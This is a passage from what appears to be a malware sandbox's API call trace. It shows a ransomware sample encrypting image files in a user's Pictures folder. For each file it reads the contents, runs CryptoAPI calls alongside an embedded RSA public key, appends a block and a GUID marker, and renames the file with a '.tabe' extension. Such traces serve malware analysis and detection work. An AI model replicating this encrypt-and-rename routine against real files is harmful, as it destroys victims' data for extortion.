StringUuid=0x3dcfa40) returned 0x0 [0126.567] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.567] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.568] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd534, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.568] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.568] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.568] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.568] CloseHandle (hObject=0x618) returned 1 [0126.569] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FuNf.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\funf.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FuNf.bmp.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\funf.bmp.tabe")) returned 1 [0126.570] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1709e0, ftCreationTime.dwHighDateTime=0x1d5e489, ftLastAccessTime.dwLowDateTime=0xe50c8360, ftLastAccessTime.dwHighDateTime=0x1d5dc4e, ftLastWriteTime.dwLowDateTime=0xe50c8360, ftLastWriteTime.dwHighDateTime=0x1d5dc4e, nFileSizeHigh=0x0, nFileSizeLow=0x29e7, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="FwxuCJSmF4ISgtat.gif", cAlternateFileName="FWXUCJ~1.GIF")) returned 1 [0126.570] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FwxuCJSmF4ISgtat.gif") returned=".gif" [0126.570] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FwxuCJSmF4ISgtat.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fwxucjsmf4isgtat.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.570] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=10727) returned 1 [0126.570] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.571] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x29c1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.571] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.573] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x29e7, lpOverlapped=0x0) returned 1 [0126.574] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.574] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.574] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.574] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.574] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.574] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.574] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.574] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.575] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.575] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.575] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.575] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.575] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.575] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.575] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x29e7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.575] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.575] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.575] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.575] CloseHandle (hObject=0x618) returned 1 [0126.576] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FwxuCJSmF4ISgtat.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fwxucjsmf4isgtat.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FwxuCJSmF4ISgtat.gif.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fwxucjsmf4isgtat.gif.tabe")) returned 1 [0126.577] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf48e5060, ftCreationTime.dwHighDateTime=0x1d5e7b2, ftLastAccessTime.dwLowDateTime=0xbd74f510, ftLastAccessTime.dwHighDateTime=0x1d5daa7, ftLastWriteTime.dwLowDateTime=0xbd74f510, ftLastWriteTime.dwHighDateTime=0x1d5daa7, nFileSizeHigh=0x0, nFileSizeLow=0xc272, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="ib5U.png", cAlternateFileName="")) returned 1 [0126.577] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ib5U.png") returned=".png" [0126.577] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ib5U.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ib5u.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.577] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=49778) returned 1 [0126.578] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.579] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xc24c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.579] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.580] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xc272, lpOverlapped=0x0) returned 1 [0126.581] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.581] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.581] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.581] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866ea0) returned 1 [0126.582] CryptCreateHash (in: hProv=0x866ea0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.582] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.582] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.582] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.582] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.582] CryptReleaseContext (hProv=0x866ea0, dwFlags=0x0) returned 1 [0126.582] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.582] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.582] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.582] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.582] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xc272, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.583] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.583] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.583] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.583] CloseHandle (hObject=0x618) returned 1 [0126.584] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ib5U.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ib5u.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ib5U.png.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ib5u.png.tabe")) returned 1 [0126.585] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18182880, ftCreationTime.dwHighDateTime=0x1d5e321, ftLastAccessTime.dwLowDateTime=0xa4de7040, ftLastAccessTime.dwHighDateTime=0x1d5dc3b, ftLastWriteTime.dwLowDateTime=0xa4de7040, ftLastWriteTime.dwHighDateTime=0x1d5dc3b, nFileSizeHigh=0x0, nFileSizeLow=0x17fa7, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="ICmX1V6.bmp", cAlternateFileName="")) returned 1 [0126.585] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ICmX1V6.bmp") returned=".bmp" [0126.585] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ICmX1V6.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\icmx1v6.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.585] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=98215) returned 1 [0126.585] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.586] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x17f81, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.586] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.587] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x17fa7, lpOverlapped=0x0) returned 1 [0126.588] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.588] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.588] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.588] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866ea0) returned 1 [0126.589] CryptCreateHash (in: hProv=0x866ea0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.589] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.589] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.589] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.589] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.589] CryptReleaseContext (hProv=0x866ea0, dwFlags=0x0) returned 1 [0126.589] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.589] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.589] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.590] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.590] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x17fa7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.590] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.591] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.591] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.591] CloseHandle (hObject=0x618) returned 1 [0126.592] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ICmX1V6.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\icmx1v6.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ICmX1V6.bmp.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\icmx1v6.bmp.tabe")) returned 1 [0126.593] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8affb3e0, ftCreationTime.dwHighDateTime=0x1d5df57, ftLastAccessTime.dwLowDateTime=0xd505f500, ftLastAccessTime.dwHighDateTime=0x1d5dd2a, ftLastWriteTime.dwLowDateTime=0xd505f500, ftLastWriteTime.dwHighDateTime=0x1d5dd2a, nFileSizeHigh=0x0, nFileSizeLow=0x8291, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="IpVy0XJ EagknhKEy.bmp", cAlternateFileName="IPVY0X~1.BMP")) returned 1 [0126.593] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IpVy0XJ EagknhKEy.bmp") returned=".bmp" [0126.593] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IpVy0XJ EagknhKEy.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ipvy0xj eagknhkey.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.593] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=33425) returned 1 [0126.593] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.594] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x826b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.594] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.596] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x8291, lpOverlapped=0x0) returned 1 [0126.596] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.596] lstrlenA (lpString="-----BEGIN PUBLIC 